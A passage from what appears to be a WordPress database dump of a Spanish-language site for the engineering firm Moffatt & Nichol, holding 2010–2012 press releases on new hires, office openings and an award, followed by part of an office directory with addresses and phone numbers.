julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-22','','','2014-02-17 19:47:27','2014-02-17 19:47:27','',1399,'http://moffattnichol.com/spanish/1399-revision-22/',0,'revision','',0),(2818,1,'2014-03-18 16:04:14','2014-03-18 16:04:14','','farnborough','','inherit','open','open','','farnborough','','','2014-03-18 16:04:14','2014-03-18 16:04:14','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/03/farnborough.jpg',0,'attachment','image/jpeg',0),(2819,1,'2013-11-25 22:50:25','2013-11-25 22:50:25','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/09/our_offices1.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 30 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como líder en la complicada área donde la tierra entra en contacto con el agua. Si desea información de contacto, seleccione una ubicación.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>dirección</strong>\r\n\r\nRegus Al Bateen Business Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Árabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/atlanta.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"30\">Atlanta</h2>\r\n<strong>dirección</strong>\r\n\r\n3730 Chamblee Tucker Road, Suite M\r\n\r\nAtlanta, GA 30341\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 770-492-8204\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>dirección</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n+1 410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>dirección</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n+1 225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">Bogotá</h2>\r\n<strong>dirección</strong>\r\n\r\nAvenida Cra. 9 N.° 113-52, Of.1201\r\n\r\nBogotá D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">HONOLULÚ</h2>\r\n\r\n<strong>dirección</strong>\r\n\r\n733 Bishop Street, Suite 1740\r\n\r\nHonolulu, HI 96813\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 808-533-7000\r\n\r\n<strong>fax</strong>\r\n\r\n+1 808-533-7002\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"8\">HOUSTON</h2>\r\n<strong>dirección</strong>\r\n\r\n11011 Richmond Avenue, Suite 200\r\n\r\nHouston, TX 77042\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 713-977-7372\r\n\r\n<strong>fax</strong>\r\n\r\n+1 713-977-7379\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"9\">LONDRES</h2>\r\n<strong>dirección</strong>\r\n\r\nFifth Floor, 35 Great St. Helen\'s\r\n\r\nLondres EC3A 6HB\r\n\r\nReino Unido\r\n\r\n<strong>teléfono</strong>\r\n\r\n+44 (0)20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+44 (0)20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"10\">LONG 